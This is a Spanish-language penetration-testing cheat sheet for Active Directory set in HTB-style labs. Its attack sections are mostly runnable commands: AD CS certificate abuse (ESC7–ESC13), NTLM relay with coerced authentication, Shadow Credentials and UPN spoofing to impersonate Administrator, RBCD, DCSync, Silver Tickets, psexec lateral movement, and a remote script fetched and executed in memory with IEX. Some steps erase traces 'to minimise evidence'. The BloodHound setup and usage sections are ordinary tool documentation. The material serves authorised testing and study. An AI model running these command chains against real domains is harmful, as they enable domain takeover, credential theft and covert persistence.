La técnica se basa en el hecho de que los usuarios con el derecho de acceso Administrar CA y Administrar certificados pueden emitir solicitudes de certificado fallidas. La plantilla de certificado SubCA es vulnerable a ESC1, pero solo los administradores pueden inscribirse en la plantilla. Por lo tanto, un usuario puede solicitar inscribirse en la SubCA (que será denegada) pero luego el administrador la emitirá.

Si solo tiene el derecho de acceso Administrar CA, puede otorgarse el derecho de acceso Administrar certificados agregando a su usuario como un nuevo funcionario.

certipy-ad ca -ca '<ca_name>' -add-officer 'User' -u 'user@dominio.htb' -p 'Password01!'

La plantilla SubCA se puede habilitar en la CA con el parámetro -enable-template. De manera predeterminada, la plantilla SubCA está habilitada.

certipy-ad ca -ca '<ca_name>' -enable-template SubCA -u 'user@dominio.htb' -p 'Password01!'

Ataque

Si hemos cumplido con los requisitos previos para este ataque, podemos comenzar solicitando un certificado basado en la plantilla SubCA.

Esta solicitud será rechazada, pero guardaremos la clave privada y anotaremos el ID de la solicitud.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -template SubCA -upn administrator@dominio.htb

Con Administrar CA y Administrar certificados, podemos emitir la solicitud de certificado fallida con el comando ca y el parámetro -issue-request.

certipy-ad ca -ca '<ca_name>' -issue-request <ID> -u 'user@dominio.htb' -p 'Password01!'

Y finalmente, podemos recuperar el certificado emitido con el comando req y el parámetro -retrieve . Obtenemos el certificado del Administrator.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -retrieve <ID>

ESC8

Certipy relay

certipy-ad relay -target <adcs_ip> -template <machine_template>

Realizar la Autenticación Coercion (desde otra terminal)

Esto nos dará el certificado y la clave privada del usuario.

coercer coerce -l <your_ip> -t <adcs_ip> -u 'user@dominio.htb' -p 'Password01!' -d dominio.htb -v

Solicitar un TGT como máquina de equipo (o Domain Controller)

certipy-ad auth -pfx machine_account.pfx

Esto nos dará el hash NTLM del usuario, que podemos usar para autenticarnos.

Dependiendo de la situación, ahora tenemos 2 ataques posibles...

DCSync (si disponemos de permisos de Administradores del dominio)

Realizando DCSync Attack utilizando el hash NTLM como Domain Controller.

impacket-secretsdump 'DC$@dominio.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10

Silver Ticket (utilizando el hash NTLM de una cuenta de equipo)

Creación del Silver Ticket

impacket-ticketer -nthash <nt_hash> -domain-sid <domain_sid> -domain dominio.htb -spn <spn> Administrator

Realizando PassTheTicket con PsExec

KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass -target machine.dominio.htb

ESC9

Requisitos:

GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.

En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC9.

Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim

Utilizamos Certipy para actualizar el UPN de la cuenta 'victim', asignándole el valor de Administrator. Esto nos permite asociar cualquier certificado emitido a 'victim' con la identidad de Administrator:

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn administrator

Solicitamos un certificado utilizando la plantilla vulnerable. Este certificado se emitió con el UPN de Administrator, habilitando su uso para autenticación con privilegios elevados.

certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <ca_name> -template <template_name>

Posteriormente, restauramos el UPN de 'victim' a su valor original para minimizar evidencias de la modificación realizada.

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb

Seguidamente utilizamos el certificado emitido para autenticarnos y verificamos que obtenemos el hash NTLM del usuario "Administrator".

certipy-ad auth -pfx administrator.pfx -domain dominio.htb

ESC10

Caso 1

Requisitos:

GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.

En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC10.

Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim

Modificar el UPN del usuario 'victim' al usuario Administrator.

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn Administrator

Solicitud del certificado.

certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>

Revertiremos los cambios del usuario 'victim' (para asegurarse de que solo el administrador coincida con el certificado)

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb

Autenticarse como usuario Administrator.

certipy-ad auth -pfx administrator.pfx -domain dominio.htb

Caso 2

Requisitos:

GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B sin que disponga un userPrincipalName (cuentas de máquina y administrador de dominio integrado Administrador.

En este caso 'hacker' dispone de los privilegios sobre 'victim' y deseamos comprometer el Domain Controller DC$@domain.htb.

Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim

Modificamos el UPN del usuario 'victim' a 'DC$@dominio.htb'.

certipy-ad account update -username hacker@dominio.htb -p 'Password01! -user victim -upn 'DC$@dominio.com'

Solicitamos un certificado como 'victim' para obtener el certificado del Domain Controller (DC).

certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>

Revertir los cambios de 'victim' (para asegurarse de que solo el administrador coincida con el certificado).

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb

Autenticación con el certificado del DC.

certipy-ad auth -pfx <dc_machine_name>.pfx -domain dominio.htb -dc-ip 10.10.10.10 -ldap-shell

Creación de una nueva cuenta de equipo.

add_computer <new_account_name> <new_account_pass>
set_rbcd <dc_machine_name>$ <new_account_name>$

Abusar de RBCD (Resource Based Constrained Delegation) para impersonar al Administrator.

impacket-getST -spn cifs/<dc_machine_name>$@dominio.htb -impersonate Administrator -dc-ip 10.10.10.10 dominio.htb/'<new_account_name>$':<new_account_pass>

Autenticarse utilizando el TGT del usuario Administrator.

KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass

ESC11

Configuramos el relay

certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController

Autenticación Coerce con PetitPotam

python3 PetitPotam.py -u <user> -p <pass> -d <domain> <target_ip_address> <listener_address>

Certipy recibe autenticación del DC de AD

certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController

A continuación, se deberá realizarlos pasos del ESC8

ESC12

ESC13

Desde sistemas tipo UNIX, esta solicitud de extracción en Certipy (Python) permite identificar una plantilla de certificado con una política de emisión, es decir, con la propiedad msPKI-Certificate-Policy no vacía. Además, verifica si esta política de emisión tiene un enlace de grupo OID a un grupo en la propiedad msDS-OIDToGroupLink.

certipy-ad find -u '$USER@$DOMAIN' -p '"$PASSWORD' -dc-ip '$DC_IP'

Si se encuentra una plantilla vulnerable, no hay ningún requisito de emisión particular, el principal puede inscribirse y la plantilla indica el EKU de autenticación del cliente; solicite un certificado para esta plantilla con Certipy (Python) como de costumbre:

certipy-ad req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'

Luego, el certificado se puede usar con Pass-the-Certificate para obtener un TGT y autenticarse como el principal controlado, pero con sus privilegios agregados a los del grupo vinculado.

ESC14

References

Attacking Kerberos

AS-REP Roast Attack

Sí disponemos de un listado de usuarios válidos, realizar AS-REP Roast Attack para conseguir un Ticket Granting Ticket (TGT) y luego crackear su hash para obtener su contraseña.

Este ataque hace una consulta al DC si alguno de los usuarios que disponemos en el listado, tiene la flag de (DONT_REQ_PREAUTH) de Kerberos.

El ataque se puede intentar más veces si a lo largo encontramos más usuarios válidos. Desde BloodHound podemos ver los usuarios que tengan esta condición.

Kerberoasting Attack

Si disponemos de credenciales válidas de un usuario del dominio, podemos efectuar un Kerberoasting Attack para conseguir un Ticket Granting Service (TGS) de un usuario que tenga asignado un servicePrincipalName (SPN).

Este hash obtenido, podemos intentar crackearlo para obtener sus credenciales en texto plano.

Existe una excepción para realizar el Kerberoasting Attack sin disponer de credenciales.

Si sabemos que hay la existencia de un usuario que sea AS-REP Roast, es decir, que el usuario tenga la flag de (DONT_REQ_PREAUTH) habilitada, también podremos realizar este ataque sin disponer credenciales válidas.

En este caso, el usuario llamado usuarioASREP es susceptible a un AS-REP Roast, es decir, dispone de la flag (DONT_REQ_PREAUTH) de Kerberos habilitada.

Por lo tanto, podemos efectuar un Kerberoasting Attack sin disponer de credenciales válidas del dominio, pero teniendo un usuario que sea susceptible a AS-REP Roast.

Para más información, se puede consultar el siguiente blog en el cual explican el descubrimiento de este método.

BloodHound

Introduction

BloodHound es una herramienta fundamental en auditorías de Active Directory, diseñada para identificar relaciones de confianza y posibles vectores de ataque dentro de un dominio. Permite analizar cómo un atacante podría moverse lateralmente o escalar privilegios aprovechando relaciones ya existentes entre objetos del dominio.

En esta sección vamos a centrarnos en explicar los distintos métodos de recolección de datos disponibles (collectors), comparando su uso y aplicabilidad según el entorno. Además, detallaremos la instalación y diferencias clave entre BloodHound clásico y BloodHound Community Edition (CE).

A lo largo del blog veremos:

Cómo utilizar los diferentes collectors:
- SharpHound.exe: el ejecutable clásico.
- SharpHound.ps1: ideal para entornos con PowerShell habilitado.
- bloodhound-python: pensado para ejecución desde sistemas Linux.
- RustHound-CE: el collector moderno optimizado para BH-CE.
- NetExec: permite extraer relaciones básicas directamente desde Linux.
- certipy-ad: enfocado en la detección de relaciones dentro de entornos con AD CS, exportando en formato compatible con BloodHound CE
Cuándo conviene usar cada uno.
Instalación paso a paso tanto de BloodHound clásico como de BloodHound CE.
Casos prácticos de uso en auditorías reales o entornos simulados.

El objetivo es dejar documentado de forma clara y funcional cómo trabajar con BloodHound, integrarlo en una auditoría y aprovechar al máximo sus capacidades.

Collectors

Para que BloodHound pueda generar un grafo útil y preciso del dominio, primero es necesario realizar una fase de recolección de información. Esta tarea recae sobre los collectors, que son los encargados de extraer los datos estructurales del entorno Active Directory: relaciones entre usuarios y grupos, sesiones activas, delegaciones, permisos sobre objetos, entre otros.

Actualmente existen varios collectors disponibles, cada uno diseñado para adaptarse a distintos escenarios operativos, niveles de privilegios o restricciones del entorno. Elegir el collector adecuado depende tanto del contexto técnico como de los objetivos del análisis.

En este apartado documentamos los principales collectors utilizados en auditorías de AD, incluyendo su instalación, ejecución y particularidades:

SharpHound.exe: el ejecutable clásico para entornos Windows.
SharpHound.ps1: alternativa en PowerShell útil en entornos con políticas más restrictivas.
bloodhound-python: collector multiplataforma, ideal para recolección desde sistemas Linux.
RustHound-CE: pensado para BloodHound Community Edition, con un enfoque más modular y eficiente.

Esta sección tiene como objetivo servir de referencia práctica para seleccionar y utilizar el collector más adecuado en función del entorno y los objetivos de la auditoría.

¡MUY IMPORTANTE!

Siempre que consigamos un nuevo usuario, se recomienda lanzar de nuevo el recolector de BloodHound con esas credenciales. Es posible que el primer usuario tuviera permisos limitados para enumerar el dominio, y con el nuevo podamos obtener más relaciones o privilegios que antes no eran visibles.

Por eso, con cada cuenta nueva, lo ideal es ejecutar otro collector y generar un nuevo .zip con la información actualizada del entorno.

bloodhound-python

Installation

Via APT

sudo apt install bloodhound-python -y

Via PIP

pip install bloodhound

Via PIPX

pipx install bloodhound

Via cloning repository

git clone https://github.com/dirkjanm/BloodHound.py
pip install .

Use

sudo timedatectl set-ntp 0
sudo ntpdate -s 10.10.10.10

# Autenticación usuario y contraseña

bloodhound-python -u 'user' -p 'Gzzcoo123' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All

# Autenticación a través de Pass-the-Hash (PtH)

bloodhound-python -u 'user' --hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All

# Autenticación mediante Kerberos (.ccache)

bloodhound-python -u 'user' -k -no-pass -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All --auth-method kerberos

RustHound-CE

Installation

Tenemos que disponer de rust instalado en Kali, podemos seguir el siguiente blog para instalarlo.

Una vez instalado rust en nuestro equipo, instalaremos RustHound-CE a través del siguiente comando.

cargo install rusthound-ce

Use

# Autenticación usuario y contraseña

rusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -z --adcs --old-bloodhound

# Autenticación mediante Kerberos (.ccache)

rusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -z --adcs --old-bloodhound

SharpHound.ps1

Importar en memoria SharpHound.ps1

# Importar SharpHound.ps1 a través de un servidor web que tiene alojado el script PS!, puede ser el nuestro propio de atacante.

IEX(New-Object Net.WebClient).downloadString("https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/master/Collectors/SharpHound.ps1")

# Teniendo el script de PowerShell en la máquina vícitma podemos importarlo de la siguiente manera

. .\SharpHound.ps1

Import-Module .\SharpHound.ps1

Recoletar información a través de SharpHound.ps1

Invoke-BloodHound -CollectionMethods All -Domain contoso.com

SharpHound.exe

Pasaremos el binario al equipo víctima y lo ejecutaremos para recolectar la información.

.\SharpHound.exe --CollectionMethods All

NetExec

# Autenticación a través de usuario y contraseña

nxc ldap 10.10.10.10 -u 'user' -p 'Password01!' --bloodhound --collection All --dns-server 10.10.10.10

# Autenticación a través de Pass-the-Hash (PtH)

nxc ldap 10.10.10.10 -u 'user' -H 'fbaa3e2294376dc0f5aeb6b41ffa52b7' --bloodhound --collection All --dns-server 10.10.10.10

# Autenticación a través de Kerberos (.ccache)

nxc ldap dc.dominio.htb --use-kcache --bloodhound --collection All --dns-server 10.10.10.10

certipy-ad

BloodHound

# Autenticación a través de usuario y contraseña

LDAP (Puerto 389)

certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10 -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Pass-the-Hash (PtH)

LDAP (Puerto 389)

certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10 -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Kerberos (.ccache)

LDAP (Puerto 389)

certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug

Old BloodHound

# Autenticación a través de usuario y contraseña

LDAP (Puerto 389)

certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Pass-the-Hash (PtH)

LDAP (Puerto 389)

certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10

# Autenticación a través de Kerberos (.ccache)

LDAP (Puerto 389)

certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap

LDAPS (Puerto 636)

certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug

BloodHound CE

Installation

Actualizaremos los repositorios e instalaremos docker-compose en nuestro equipo.

sudo apt update -y && sudo apt install docker-compose -y

Nos descargaremos el archivo del docker-compose.yml con cURL y comprobaremos que se ha descargado correctamente.

curl -L https://ghst.ly/getbhce -o docker-compose.yml

También podemos crear directamente el contenido del docker-compose.yml.

docker-compose.yml

# Copyright 2023 Specter Ops, Inc.
#
# Licensed under the Apache License, Version 2.0
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0

services:
  app-db:
    image: docker.io/library/postgres:16
    environment:
      - PGUSER=${POSTGRES_USER:-bloodhound}
      - POSTGRES_USER=${POSTGRES_USER:-bloodhound}
      - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-bloodhoundcommunityedition}
      - POSTGRES_DB=${POSTGRES_DB:-bloodhound}
    # Database ports are disabled by default. Please change your database password to something secure before uncommenting
    # ports:
    #   - 127.0.0.1:${POSTGRES_PORT:-5432}:5432
    volumes:
      - postgres-data:/var/lib/postgresql/data
    healthcheck:
      test:
        [
          "CMD-SHELL",
          "pg_isready -U ${POSTGRES_USER:-bloodhound} -d ${POSTGRES_DB:-bloodhound} -h 127.0.0.1 -p 5432"
        ]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 30s

  graph-db:
    image: docker.io/library/neo4j:4.4.42
    environment:
      - NEO4J_AUTH=${NEO4J_USER:-neo4j}/${NEO4J_SECRET:-bloodhoundcommunityedition}
      - NEO4J_dbms_allow__upgrade=${NEO4J_ALLOW_UPGRADE:-true}
    # Database ports are disabled by default. Please change your database password to something secure before uncommenting
    ports:
      - 127.0.0.1:${NEO4J_DB_PORT:-7687}:7687
      - 127.0.0.1:${NEO4J_WEB_PORT:-7474}:7474
    volumes:
      - ${NEO4J_DATA_MOUNT:-neo4j-data}:/data
    healthcheck:
      test:
        [
          "CMD-SHELL",
          "wget -O /dev/null -q http://localhost:7474 || exit 1"
        ]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 30s

  bloodhound:
    image: docker.io/specterops/bloodhound:${BLOODHOUND_TAG:-latest}
    environment:
      - bhe_disable_cypher_complexity_limit=${bhe_disable_cypher_complexity_limit:-false}
      - bhe_enable_cypher_mutations=${bhe_enable_cypher_mutations:-false}
      - bhe_graph_query_memory_limit=${bhe_graph_query_memory_limit:-2}
      - bhe_database_connection=user=${POSTGRES_USER:-bloodhound} password=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} dbname=${POSTGRES_DB:-bloodhound} host=app-db
      - bhe_neo4j_connection=neo4j://${NEO4J_USER:-neo4j}:${NEO4J_SECRET:-bloodhoundcommunityedition}@graph-db:7687/
      - bhe_recreate_default_admin=${bhe_recreate_default_admin:-false}
      - bhe_graph_driver=${GRAPH_DRIVER:-neo4j}
      ### Add additional environment variables you wish to use here.
      ### For common configuration options that you might want to use environment variables for, see `.env.example`
      ### example: bhe_database_connection=${bhe_database_connection}
      ### The left side is the environment variable you're setting for bloodhound, the variable on the right in `${}`
      ### is the variable available outside of Docker
    ports:
      ### Default to localhost to prevent accidental publishing of the service to your outer networks
      ### These can be modified by your .env file or by setting the environment variables in your Docker host OS
      - ${BLOODHOUND_HOST:-127.0.0.1}:${BLOODHOUND_PORT:-8080}:8080
    ### Uncomment to use your own bloodhound.config.json to configure the application
    # volumes:
    #   - ./bloodhound.config.json:/bloodhound.config.json:ro
    depends_on:
      app-db:
        condition: service_healthy
      graph-db:
        condition: service_healthy

volumes:
  neo4j-data:
  postgres-data:

Iniciaremos los contenedores definidos en el archivo docker-compose.yml.

sudo docker-compose up -d

Verificaremos que los contenedores se encuentran en ejecución y no ha habido ningún fallo.

sudo docker ps

Comprobaremos la contraseña inicial en los logs.

sudo docker logs bloodhound-ce_bloodhound_1

Username: admin
Password: Contraseña Inicial obtenida en el punto anterior

Indicaremos la contraseña inicial en el primer campo, y la nueva contraseña que deberá cumplir los requisitos establecidos.

Normalmente 12 caracteres mínimo, 1 mayúscula, 1 minúscula, 1 número y 1 símbolo especial.

Ya dispondremos de nuestro BloodHound CE instalado correctamente en nuestro equipo a través de Docker.

Video installation guide

Start BloodHound CE

En mi caso tengo el archivo docker-compose.yml en el directorio /opt/BloodHound-CE. De esta manera sin importar en el directorio donde me encuentre lo levanto directamente con el siguiente comando.

Para iniciar el BloodHound-CE deberemos tener los contenedores ya instalados tal y como se indica en los puntos anteriores.

El comando sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml up -d nos sirve para iniciar de cero los contenedores, esto es útil si hay alguna modificación en el docker-compose.yml. En nuestro caso no lo modificaremos, por lo tanto deberemos utilizar el start para iniciarlo.

sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start

Stop BloodHound CE

Para parar BloodHound-CE ejecutaremos el siguiente comando, así liberamos los puertos que utiliza, etc. Luego podemos levantarlo con el comando anterior o con sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start

sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml stop

Ingest Data

Ingresar al apartado de "Administration"
Acceder a la pestaña de "File Ingest"
Click en "Upload File(s)"

Haremos click dentro de la casilla o también podremos arrastrar directamente nuestor .zip o los archivos JSON sueltos.

Seleccioanaremos nuestro archivo comprimido.

Una vez seleccionado nuestro archivo, le daremos a la opción de Upload.

Confirmaremos que nso aparece el siguiente mensaje indicando que se han subido correctamente. Le daremos a Close.

Verificaremos que después de que se integre correctamente los datos recopilados, nos aparece como Complete. En caso de que aparezca otro estado como Cancelled, volver a subir el archivo. Si el problema persiste, es altamente posible que el problema se encuentre en la compatibilidad del Collector utilizado, probar con otro.

Una vez todo subido, podemos hacer uso de BloodHound-CE y navegar en la interfaz.

Erase Data

Cuando necesitemos borrar la "base de datos" que tiene BloodHound-CE de los datos subidos anteriormente, deberemos de eliminar los datos. Podemos hacer una "limpieza profunda" para no dejar rastro de los datos subidos. Para ello, realizaremos los siguientes pasos.

Accederemos al apartado "Administration"
Ingresaremos al apartado de "Database Management"
Marcaremos todas las casillas, para la "limpieza profunda"
Haremos click en la opción de "Proceed"
Ingresaremos la palabra clave para confirmar la eliminación "Please delete my data"
Una vez ingresada la palabra de confirmación, le daremos a "Confirm".

How to use

Una vez tengamos subido nuestros datos en BloodHound-CE, podremos navegar en la interfaz accediendo al apartado de "Explore".

Search

En el apartado de SEARCH podemos buscar por un nodo/objeto que queramos consultar, si no aparece significa que no existe o bien a la hora de recolectar la información no ha aparecido (seguramente por tema de permisos).

Click node info

Al hacer click sobre un nodo/objecto, nos aparecerá en la zona lateral derecha el siguiente menú con distintos submenús del nodo/objeto que investigaremos a continuación.

Disponemos de varios sub apartados, aunque los más relevantes de momento son los siguientes.

En el apartado de Object Information, nos aparecerá toda la información del nodo/objeto. Entre la información que podemos destacar se encuentra la de:

Distinguished Name
Si el usuario dispone de DONT_REQ_PREAUTH (Es decir, susceptible a AS-REP Roast)
Si se encuentra habilitado

Al desplegar el apartado de Member Of de un nodo/objeto (usuario) en este caso, nos aprecerá un esquema de cómo se encuentra distribuido, a qué grupos forma parte, etc.

En la sección Outbound Object Control, BloodHound muestra los objetos sobre los que tenemos control gracias a permisos ACL. Esto nos permite identificar posibles vectores de ataque, como movimientos laterales o escaladas de privilegios.

Desde aquí podemos ver relaciones útiles como GenericWrite, WriteDACL, AddMember, entre otras, que nos dan acceso directo a otros usuarios, grupos o equipos del dominio.

Tenemos una gran lista de ACLs interesantes para atacar en Abusing Active Directory ACLs/ACEs.

En la sección Inbound Object Control, BloodHound muestra qué objetos del dominio tienen control sobre nosotros mediante ACLs.

Pathfinding

La funcionalidad de Pathfinding en BloodHound CE permite buscar rutas de ataque desde un nodo de inicio hasta un objetivo, evaluando los privilegios y relaciones entre usuarios y grupos.

En este ejemplo, partimos desde OLIVIA@ADMINISTRATOR.HTB, que tiene un GenericAll sobre MICHAEL@ADMINISTRATOR.HTB, lo que permite control total sobre esa cuenta. A su vez, MICHAEL puede forzar el cambio de contraseña de BENJAMIN@ADMINISTRATOR.HTB, lo que completa la cadena de ataque.

Este tipo de vista es clave para identificar caminos reales de escalada de privilegios o movimientos laterales dentro del dominio.

Edges

En BloodHound CE, los edges representan las relaciones entre objetos del dominio. Estas relaciones pueden ser de distintos tipos: pertenencia a grupos (MemberOf), delegaciones (GetChanges, GenericAll, etc.), sesiones activas, ACLs y muchas otras.

Cuando hacemos clic en un edge, se abre un panel con más detalle sobre esa relación. Este panel incluye diferentes secciones:

Muestra una descripción técnica de la relación detectada.

Explica cómo se podría abusar de esa relación desde un entorno Windows.

Muestra el equivalente en herramientas como Impacket o similares desde Linux.

Enlaces útiles para ampliar la información técnica o práctica del abuso.

Marking Objects as Owned/High Value

BloodHound CE permite marcar manualmente objetos del dominio como Owned (comprometidos) o High Value (objetivos prioritarios). Esto nos ayuda a visualizar mejor el progreso de una auditoría y enfocar los análisis de ruta hacia activos críticos.

Estas marcas se aplican desde el clic derecho sobre el nodo. Una vez marcado, el nodo se resalta visualmente en el grafo con un ícono correspondiente.

Marcamos un nodo como comprometido cuando ya tenemos control sobre él (por ejemplo, si conseguimos credenciales o ejecución remota).

Se usa para señalar objetivos importantes como Domain Admins, cuentas de servicio clave o sistemas críticos.

En el panel Group Management podemos gestionar de forma organizada los objetos marcados como Owned o High Value. Su uso se resume en los siguientes pasos:

Accedemos al apartado Group Management desde el ícono de personas (barra lateral izquierda).
Seleccionamos el grupo que queremos revisar Owned/High Value.
Elegimos el entorno, normalmente All Active Directory Domains.
Aplicamos filtros si queremos ver solo ciertos tipos de nodos (User, Group o Computer, etc).
Se muestra el listado de objetos que pertenecen a ese grupo, junto con su tipo y estado.
Al hacer clic sobre un nodo, se despliega su información detallada en la parte derecha: nombre, SID, SO, último logon, delegaciones, etc.
Esta sección permite llevar control visual de los objetivos comprometidos y planificar próximos movimientos dentro del dominio.

Querys Cypher

En esta sección podemos lanzar queries en lenguaje Cypher para consultar relaciones dentro del grafo de BloodHound. Es muy útil para buscar rutas de ataque o listar objetos críticos de forma más precisa.

BloodHound CE ya trae varias queries predefinidas, como:

Usuarios Kerberoastables
Rutas más cortas hacia Domain Admins
Listado de todos los Domain Admins
Principales con privilegios peligrosos (DCSync, GenericAll, etc.)

También podemos modificar estas queries o crear las nuestras según lo que necesitemos buscar en el entorno.

Custom Querys

BloodHound CE permite crear y guardar nuestras propias queries en Cypher. Esto nos da flexibilidad para buscar relaciones específicas en el grafo y reutilizar esas búsquedas en futuras auditorías.

En el siguiente repositorio de GitHub, disponemos de algunas Querys ya creadas que podemos añadir.

En este caso, ponemos la QUERY que queremos consultar, le daremos a "Save Query".

Le asignaremos un nombre a la QUERY.

Y verificaremos que se nos guarda, al darle click nos realizará la consulta asignada.

BloodHound

Installation

Actualizaremos los repositorios e instalaremos BloodHound y Neo4j para que funcione correctamente BH.

sudo apt update -y && sudo apt install bloodhound neo4j -y

sudo neo4j console

Username: neo4j
Password: neo4j

Nos pedirá cambiar la contraseña.

Una vez modificada la contraseña del Neo4j, abriremos BloodHound en segundo plano en una nueva terminal.

bloodhound > /dev/null 2>&1 & disown

Indicaremos al usuario neo4j y las nuevas credenciales modificadas. Podemos guardar las credenciales para que se nos conecte automáticamente.

Una vez inicie sesión, se iniciará correctamente BloodHound y ya podremos navegar dentro de él.

Video installation guide

Start BloodHound and Neo4j

Para iniciar BloodHound una vez ya realizada la instalación es ejecutar los siguientes comandos.

sudo neo4j console

Abriremos BloodHound en segundo plano, si tenemos las credenciales almacenadas con el check, iniciará sesión automáticamente.

bloodhound > /dev/null 2>&1 & disown

Ingest Data

En redacción...

Erase Data

En redacción...

How to use

En redacción...

Tools

bloodyAD

Introduction

Esta herramienta puede realizar llamadas LDAP específicas a un controlador de dominio para realizar escalada de privilegios en AD.

En Kali Linux la herramienta se puede instalar simplemente a través del siguiente comando.

Repositorio de GitHub de la herramienta

Attacking AD using bloodyAD

# Leer LAPS Password

# Leer GMSA Password

# Habilitar DONT_REQ_PREAUTH para ASREP Roast (Necesario disponer permisos GenericAll/GenericWrite)

# Deshabilitar ACCOUNTDISABLE para habilitar a un usuario deshabilitado

# Añadir usuario a un grupo

# Shadow Credentials Attack (luego hay que hacer unPacTheHash)

# Asignar servicePrincipalName (SPN) a un usuario para Kerberoasting Attack (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target)

# Hacer propietario a usuario sobre un objeto (permisos de WriteOwner)

# Asignar permisos GenericAll sobre un usuario a un objeto para tener control total

# Cambiar contraseña de un usuario

# Añadir permisos DCSync sobre un objeto

# Asignamos al usuario 'TARGET' un script malicioso que se ejecutará cuando inicie sesión

# Creamos un nuevo registro DNS, para posteriormente realizar ataques de DNS Spoofing.

# Asignar un UPN (userPrincipalName) diferente para ataques como UPN Spoofing

# Asignar valor al atributo altSecurityIdentities para ataques X.509/ESC14

Kerbrute

Introducción

Una herramienta para realizar una fuerza bruta rápida y enumerar cuentas válidas de Active Directory a través de la autenticación previa Kerberos.

Instalación y guía de uso

Clonar repositorio de GitHub.

Guía detallada a través del siguiente blog.

MUY IMPORTANTE TENER LA HORA DE NUESTRO EQUIPO CON LA DEL DOMAIN CONTROLLER

Users Enumeration

Password Spraying and Brute Force

Impacket

AS-REP Roast (GetNPUsers)

Kerberoasting Attack (GetUserSPNs)

